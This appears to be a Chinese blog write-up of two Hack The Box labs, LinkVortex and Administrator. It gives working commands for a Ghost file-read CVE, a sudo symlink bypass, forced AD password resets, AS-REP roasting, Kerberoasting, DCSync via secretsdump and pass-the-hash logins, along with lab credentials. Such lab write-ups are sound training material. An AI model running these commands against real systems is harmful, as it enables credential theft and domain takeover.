HTB-LinkVortex& Administrator
LinkVortex
还是老样子先信息收集,扫端口

开了80和22端口。
提示要在/etc/hosts中写上对应ip域名才能浏览器访问,这里我是之前写过了才扫的。

接着信息收集,扫子域

发现子域dev。继续添加到/etc/hosts。
找到两个域名,接着开始扫目录了

主域名扫到/robots.txt和/sitemap.xml

子域名扫到git泄露。
用GitHack把源码拉下来
python GitHack.py http://dev.linkvortex.htb/.git/
等待时间有点长,然后会dump下一个目录


从Dockerfile.ghost可以看出这个靶机的ghost是docker搭建的。
看一下这个文件内容
FROM ghost:5.58.0
# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json
# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb
# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh
ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]
可以知道ghost版本为5.58.0。另外知道三个文件
/var/lib/ghost/config.production.json,/var/lib/ghost/wait-for-it.sh,/entry.sh
可能有用。
在看一下ghost文件夹下的文件authentication.test.js
从里面可以得到几个用户密码
邮箱jbloggs@example.com
邮箱ghost-author@example.com
邮箱: test@example.com密码: OctopiFociPilfer45
邮箱: test@example.com密码: thisissupersafe
密码: thisissupersafe密码: 12345678910
泄露了这些账号密码不知道有没有用,
回到主域名,我们查看扫到的robots协议。

挨个访问,只有/ghost有用,是个登录页面,将前面的账号密码直接组合起来bp爆破。
nm都不行,红温了。开启wp做题法。发现账号要自己猜。是admin@linkvortex.htb
密码是第一个OctopiFociPilfer45
登录进去后转一圈没啥用。前面找到ghost版本5.58.0,找找CVE

下载poc后直接运行,刚好我们有账号密码。

发现没有可用的系统账户。读取下我们上面说的docker的那三个文件

这下又多了一个账号密码,
ssh试一下

成功了,这个就是账号密码了。userflag就直接cat就行了,下面开始提权

bash解释器是sudo权限,还有个sh可执行文件是sudo,cat一下,喂给ai解释
#!/bin/bash
# 定义隔离目录路径
QUAR_DIR="/var/quarantined"
# 设置内容检查标志的默认值(默认不检查内容)
if [ -z $CHECK_CONTENT ]; then
CHECK_CONTENT=false
fi
# 获取第一个参数(要检查的链接路径)
LINK=$1
# 检查参数是否以.png结尾(必须是PNG文件)
if ! [[ "$LINK" =~ .png$ ]]; then
/usr/bin/echo "! 第一个参数必须是png文件 !"
exit 2 # 如果不是PNG文件则退出,返回错误码2
fi
# 使用sudo权限检查该路径是否是符号链接
if /usr/bin/sudo /usr/bin/test -L $LINK; then
# 提取文件名(不含路径)
LINK_NAME=$(/usr/bin/basename $LINK)
# 获取符号链接指向的实际目标路径
LINK_TARGET=$(/usr/bin/readlink $LINK)
# 检查链接目标是否包含etc或root(敏感系统目录)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)'; then
# 如果指向敏感目录,立即删除链接并警告
/usr/bin/echo "! 尝试访问系统关键文件,正在删除链接 [ $LINK ] !"
/usr/bin/unlink $LINK
else
# 普通链接移动到隔离目录
/usr/bin/echo "发现链接 [ $LINK ],正在移至隔离区"
/usr/bin/mv $LINK $QUAR_DIR/
# 如果启用内容检查,显示链接文件内容
if $CHECK_CONTENT; then
/usr/bin/echo "文件内容:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null # 2>/dev/null 抑制错误输出
fi
fi
fi
检查软连接是否包含敏感目录文件(etc或root)。
这个绕过简单,很容易想到可以创建两个软连接,其中一个软连接指向另一个软连接,而这个软连接指向root.txt。

sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/2.png
注意创建软连接要使用绝对路径,最后sudo执行时要带上/usr/bin/bash(因为要以root运行)。不然无权限。CHECK_CONTENT=true是为了让结果输出。
渗透思路:
信息收集查找到子域名,并扫到.git目录从而知道有git泄露,利用GitHack将文件下载下来,发现是docker搭建的ghost5.58.0。并且泄露了账号密码,利用CVE-2023-40028读取敏感文件从而拿到ssh账号密码。最后sudo提权
知识:
ghost:一个开源博客平台
Administrator
域渗透入门靶机,算是我第一次正式接触域渗透。这个靶机也是打了很久,还看了WP。但是学到了很多
As is common in real life Windows pentests, you will start the Administrator box with credentials for the following account: Username: Olivia Password: ichliebedich
获取Olivia账户
这是给的一个账户:Olivia/ichliebedich
还是先扫端口:

可以看到开放了smb,ftp,ldap等重要服务。域控制器DC,域名administrator.htb
用给的账号密码试试

好像没啥重要信息,接着用crackmapexec进行测试。

看到能pwned通,说明winrm服务开放,直接连进去查看域用户信息

10个用户,有两个很重要的用户
| Administrator | 直接完全控制域 | ★★★★★ |
|---|---|---|
| krbtgt | 制作黄金票据实现持久化 | ★★★★★ |
最终目标是要拿到Administrator的账号密码。
我们用bloodhound来进行图形化查询路径(下载方式在末尾)
bloodhound-python -c All -u Olivia -p ichliebedich -ns 10.10.11.42 -d administrator.htb -dc administrator.htb --zip


将搜集的信息进行打包出来后,启动bloodhound,将文件拖进去分析

将我们的用户标记为Owned,表示我们已掌控。

获取michael账户
点击FirstDegreeObjectControl(直接控制目标对象),发现olivia用户对michael账户是GenericALL权限(完全控制权限)。那我们直接强制更改michael的密码:
net user michael michael /domain
evil-winrm -i 10.10.11.42 -u michael -p michael

可以看到登录成功
获取benjamin账户
将michael标记为own后,还是按上述步骤,发现bloodhound中显示

对benjamin用户是forcechangepasswd权限,是可以强制更改密码的。

我这里试了这两种方式都不行,我也不知道为什么。。。。
看了WP发现:fenjamin账户可以连接ftp服务,可以用修改后的账密来登录,那说明我们还是修改成功了,可能benjamin账户不允许evil-winrm连接吧

获取alexander,emily,emma账户
如上图,用benjamin连接ftp成功后,有个backup.psafe3文件,我们下载下来。看后缀知道要用pwsafe打开
明显是个加密文件,我们hashcat爆破一下
hashcat -m 5200 Backup.psafe3 rockyou.txt

成功拿到密码tekieromucho。用pwsafe打开(也不知道为啥这软件防止截图…只能手拍了)

成功拿到三个账户
alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur
获取ethan账户
我们依次标记上面三个账户为owned,然后再用emily账户查找时发现

emily对ethan是GenericWrite权限
GenericWrite权限也就是通用写访问权限,该权限授予你写入目标对象上任何不受保护的属性的能力,包括组的“成员”和用户的“服务主体名称
我们搜索该权限的利用方法得到:这个链接
基于GenericWrite权限,这里我给两种利用方式:
1.AS-REP roasting:
该方法的攻击对象为未启用Kerberos预身份认证的用户账户(但是这个Kerberos预身份认证是默认大部分账户都启用的)。但是万幸给GenericWrite权限(通用完全写权限)
(1)我们利用GenericWrite权限为ethan用户设置“不需要 Kerberos 预身份验证”的属性
Get-ADUser ethan | Set-ADAccountControl -doesnotrequirepreauth $true

(2)然后使用impacket下的GetNPUsers脚本来获取ethan用户的AS-REP票据哈希
impacket-GetNPUsers administrator.htb/ethan -dc-ip 10.10.11.42

(3)把得到的票据哈希存到ethan文件中,hashcat可以直接破解得到账户密码明文
hashcat -m 18200 ethan /usr/share/wordlists/rockyou.txt --force

几秒钟就破解完成,得到密码limpbizkit
至此获取ethan账户
2.Kerbe roasting
该方法的攻击对象为注册了SPN的服务账户
我们查询一下开了SPN服务的账户,很遗憾这题ethan账户没有注册SPN
impacket-GetUserSPNs administrator.htb/emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb -dc-ip 10.10.11.42

还是老话:但是万幸给了GenericWrite权限(通用完全写权限)
我们用该权限给ethan注册一个SPN服务。需要用到脚本:https://github.com/dirkjanm/krbrelayx
(1)该攻击方式要求攻击机和DC机时差在5分钟以内, 我们先更新一下时间,不然会有时差,

ntpdig 10.10.11.42 //查看靶机时间
date -s "2025-04-05 20.54.03" //设置本机的时间
date && ntpdig 10.10.11.42 //查看时间误差,这里为71.947216秒,显然在5分钟内
(2)然后给ethan注册一个SPN服务

python addspn.py -u 'administrator.htbemily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' -t ethan -s HTTP/ethan.administrator.htb 10.10.11.42
如上,显示注册成功。
(3)接着查询TGS票据(我用的impacket-GetUserSPNs,也可以用targetedKerberoast):

impacket-GetUserSPNs administrator.htb/emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb -dc-ip 10.10.11.42 -request
python targetedKerberoast.py -d administrator.htb -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
(4)接着将查询的票据保存到文件中,用hashcat爆破密码明文

hashcat -m 13100 kerber rockyou.txt

可以看到也爆破成功了。
至此获取ethan账户
获取administrator用户
标记ethan账户后,在bloodhound发现

搜一下这个DCSync有什么用处:点击链接
在域环境中,不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求从而以同步复制的方式获得域控制器上的数据
简单点说就是通过DCSync权限,我们可以模拟DC机去请求另一个DC机,从而获得目标DC机的NTLM哈希。

那么我们跟着敲命令即可:
impacket-secretsdump administrator.htb/ethan:limpbizkit@10.10.11.42 -dc-ip 10.10.11.42 -just-dc-user administrator

成功拿到administrator的NTLM哈希
evil-winrm是支持账户和NTLM哈希登录的

成功拿到DC机。
flag获取
一番查找后flag在emily和DC账户中

cat /Users/emily/Desktop/user.txt
cat /Users/administrator/Desktop/root.txt
总结
我新了解的工具和知识:
1.CrackMapExec(简称CME) 是一款功能强大的 网络渗透测试工具,专门用于针对 Windows Active Directory(AD)环境 的自动化攻击和后期利用。它集成了多种攻击技术,能够帮助测试域环境的安全性。
2.bloodbound:
BloodHound 是一个强大的内网域渗透提权分析工具,它把域中各种抽象的概念和结构放在了一个能运行且直观,并易于使用的图形化功能中,自动用于提取和分析数据,高效准确地显示如何提升 AD 域中的权限。它使用图形理论来自动化的在 Active Directory 环境中搞清楚大部分人员的关系和细节
sudo apt install bloodhound 安装主程序
sudo apt install bloodhound.py 安装采集器
使用前也需配置并启动数据库neo4j。kali自带neo4j数据库。
输入命令:neo4j start
打开所给的url
默认账号密码:neo4j/neo4j
登录进去重新设置一下密码。
我们用事先拥有的账户利用bloodhound.py来采集
bloodhound-python -c All -u Olivia -p ichliebedich -ns 10.10.11.42 -d administrator.htb -dc administrator.htb --zip
......................
-c All 搜集所有可用信息
-ns 指定用于DNS查询的域名服务器的地址
-d 指定要查询的域名
-dc 指定域控制器
--zip 指定数据格式
先利用采集器采集信息打包成压缩包。
然后
bloodhound
启动bloodhound,将压缩包导入,即可开始分析
3.域渗透中的一些权限等级和名称:
| 权限名称 | 风险等级 | 典型利用方式 |
|---|---|---|
| GenericAll | ★★★★★ | 完全控制对象(最危险) |
| WriteDACL | ★★★★☆ | 修改ACL,提升自身权限 |
| WriteOwner | ★★★★☆ | 夺取所有权后修改ACL |
| AllExtendedRights | ★★★☆☆ | 密码重置、邮箱访问等 |
| GenericWrite | ★★☆☆☆ | 修改属性(如SPN、脚本路径) |
| ForceChangePassword | ★★★☆☆ | 直接重置用户密码 |
4.Kerberos:
Kerberos 是一种网络认证协议,由MIT开发,现为 Windows Active Directory 域环境的核心认证机制。它的核心功能是通过加密票据(Ticket)实现身份验证,避免密码明文传输。
关键特点:
- 基于票据(Ticket):用户和服务之间的认证通过加密票据完成。
- 三方参与:客户端(Client)、服务(Service)、密钥分发中心(KDC,即域控)。
- 防止重放攻击:票据有时间限制(通常5分钟偏差内有效)。
Kerberos 认证流程(简化版)
- AS-REQ/AS-REP(获取TGT)
- 用户登录时,向KDC的 Authentication Service (AS) 发送请求(AS-REQ)。
- KDC验证用户身份后返回 TGT(Ticket-Granting Ticket)(AS-REP),该TGT票据是用用户的密码哈希加密的。
- TGS-REQ/TGS-REP(获取服务票据)
- 用户用TGT向KDC的 Ticket-Granting Service (TGS) 请求访问某服务(如SQL Server)。
- KDC返回 TGS票据(TGS-REP),也是用服务账户的密码哈希加密。
- AP-REQ/AP-REP(服务认证)
- 用户将TGS票据发送给服务,服务用自己的密码解密,验证用户身份。
5.AS-REP Roasting和Kerberoasting都是基于kerberos协议的攻击
| 对比项 | AS-REP Roasting | Kerberoasting |
|---|---|---|
| 攻击目标 | 禁用/未启用预认证(Do not require pre-auth)的用户账户 | 注册了 SPN 的服务账户(如 SQL Server、HTTP 服务账户) |
| 利用的票据 | AS-REP 响应(含用户密码加密的 TGT票据 部分) | TGS 票据(由服务账户密码加密) |
| 触发条件 | 用户账户禁用 Kerberos 预认证 | 服务账户注册了 SPN |
| 攻击步骤 | 1. 请求 AS-REP 2. 离线破解用户密码 | 1. 请求 TGS 票据 2. 离线破解服务账户密码 |
| 权限要求 | 需对目标用户有写权限(如 GenericWrite) |
普通域用户权限即可 |
| 防御措施 | 强制所有用户启用预认证 | 限制 SPN 注册、使用 gMSA、强密码策略 |



